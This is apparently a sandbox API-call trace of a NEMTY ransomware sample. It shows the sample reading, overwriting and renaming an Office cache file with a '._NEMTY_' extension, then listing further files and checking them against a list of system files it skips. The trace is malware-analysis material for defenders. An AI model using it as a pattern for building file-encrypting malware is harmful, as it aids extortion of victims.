(lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.609] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=596341) returned 1 [0048.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6346d48 [0048.609] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.609] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0048.619] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.619] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0048.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.619] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=596341, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x91975 [0048.619] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.621] CloseHandle (hObject=0x3c8) returned 1 [0048.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.630] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml._nemty_kgobjgd_")) returned 1 [0048.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0048.630] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0048.630] lstrcmpiW (lpString1="DW20.EXE", lpString2=".") returned 1 [0048.630] lstrcmpiW (lpString1="DW20.EXE", lpString2="..") returned 1 [0048.630] lstrcmpiW (lpString1="DW20.EXE", lpString2="...") returned 1 [0048.630] lstrcmpiW (lpString1="DW20.EXE", lpString2="windows") returned -1 [0048.630] lstrcmpiW (lpString1="DW20.EXE", lpString2="$RECYCLE.BIN") returned 1 [0048.630] lstrcmpiW (lpString1="DW20.EXE", lpString2="rsa") returned -1 [0048.630] lstrcmpiW (lpString1="DW20.EXE", lpString2="NTDETECT.COM") returned -1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="ntldr") returned -1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="MSDOS.SYS") returned -1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="IO.SYS") returned -1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="boot.ini") returned 1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="boot.ini") returned 1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="AUTOEXEC.BAT") returned 1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="ntuser.dat") returned -1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="desktop.ini") returned 1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="CONFIG.SYS") returned 1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="RECYCLER") returned -1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="BOOTSECT.BAK") returned 1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="bootmgr") returned 1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="programdata") returned -1 [0048.631] lstrcmpiW (lpString1="DW20.EXE", lpString2="appdata") returned 1 [0048.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DW20.EXE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DW20.EXE", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DW20.EXE", lpUsedDefaultChar=0x0) returned 8 [0048.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DW20.EXE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DW20.EXE", cchWideChar=8, lpMultiByteStr=0x653f250, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DW20.EXE", lpUsedDefaultChar=0x0) returned 8 [0048.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DW20.EXE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DW20.EXE", cchWideChar=8, lpMultiByteStr=0x653f2a0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DW20.EXE", lpUsedDefaultChar=0x0) returned 8 [0048.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DW20.EXE", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0048.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DW20.EXE", cchWideChar=8, lpMultiByteStr=0x653f2d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DW20.EXE", lpUsedDefaultChar=0x0) returned 8 [0048.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94370 [0048.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0048.631] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0048.631] lstrcmpiW (lpString1="dwdcw20.dll", lpString2=".") returned 1 [0048.631] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="..") returned 1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="...") returned 1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="windows") returned -1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="$RECYCLE.BIN") returned 1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="rsa") returned -1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="NTDETECT.COM") returned -1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="ntldr") returned -1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="MSDOS.SYS") returned -1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="IO.SYS") returned -1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="boot.ini") returned 1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="boot.ini") returned 1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="AUTOEXEC.BAT") returned 1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="ntuser.dat") returned -1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="desktop.ini") returned 1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="CONFIG.SYS") returned 1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="RECYCLER") returned -1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="BOOTSECT.BAK") returned 1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="bootmgr") returned 1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="programdata") returned -1 [0048.632] lstrcmpiW (lpString1="dwdcw20.dll", lpString2="appdata") returned 1 [0048.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwdcw20.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwdcw20.dll", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwdcw20.dll", lpUsedDefaultChar=0x0) returned 11 [0048.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwdcw20.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwdcw20.dll", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwdcw20.dll", lpUsedDefaultChar=0x0) returned 11 [0048.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwdcw20.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwdcw20.dll", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwdcw20.dll", lpUsedDefaultChar=0x0) returned 11 [0048.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwdcw20.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0048.632] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwdcw20.dll", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwdcw20.dll", lpUsedDefaultChar=0x0) returned 11 [0048.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94370 | out: hHeap=0x4f90000) returned 1 [0048.633] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2=".") returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="..") returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="...") returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="windows") returned -1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="$RECYCLE.BIN") returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="rsa") returned -1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="NTDETECT.COM") returned -1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="ntldr") returned -1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="MSDOS.SYS") returned -1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="IO.SYS") returned -1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="boot.ini") returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="boot.ini") returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="AUTOEXEC.BAT") returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="ntuser.dat") returned -1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="desktop.ini") returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="CONFIG.SYS") returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="RECYCLER") returned -1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="BOOTSECT.BAK") returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="bootmgr") returned 1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="programdata") returned -1 [0048.633] lstrcmpiW (lpString1="dwtrig20.exe", lpString2="appdata") returned 1 [0048.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwtrig20.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwtrig20.exe", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwtrig20.exe", lpUsedDefaultChar=0x0) returned 12 [0048.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwtrig20.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwtrig20.exe", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwtrig20.exe", lpUsedDefaultChar=0x0) returned 12 [0048.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwtrig20.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.633] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwtrig20.exe", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwtrig20.exe", lpUsedDefaultChar=0x0) returned 12 [0048.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwtrig20.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0048.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dwtrig20.exe", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dwtrig20.exe", lpUsedDefaultChar=0x0) returned 12 [0048.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.634] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2=".") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="..") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="...") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="windows") returned -1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="$RECYCLE.BIN") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="rsa") returned -1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="NTDETECT.COM") returned -1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="ntldr") returned -1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="MSDOS.SYS") returned -1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="IO.SYS") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="boot.ini") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="boot.ini") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="AUTOEXEC.BAT") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="ntuser.dat") returned -1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="desktop.ini") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="CONFIG.SYS") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="RECYCLER") returned -1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="BOOTSECT.BAK") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="bootmgr") returned 1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="programdata") returned -1 [0048.634] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="appdata") returned 1 [0048.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft.VC90.CRT.manifest", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft.VC90.CRT.manifest", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft.VC90.CRT.manifest", lpUsedDefaultChar=0x0) returned 27 [0048.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.634] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0048.634] lstrcmpiW (lpString1="msvcr90.dll", lpString2=".") returned 1 [0048.634] lstrcmpiW (lpString1="msvcr90.dll", lpString2="..") returned 1 [0048.634] lstrcmpiW (lpString1="msvcr90.dll", lpString2="...") returned 1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="windows") returned -1 [0048.635] lstrcmpiW (lpString1="msvcr90.dll", lpString2="$RECYCLE.BIN") returned 1 [0048.635] 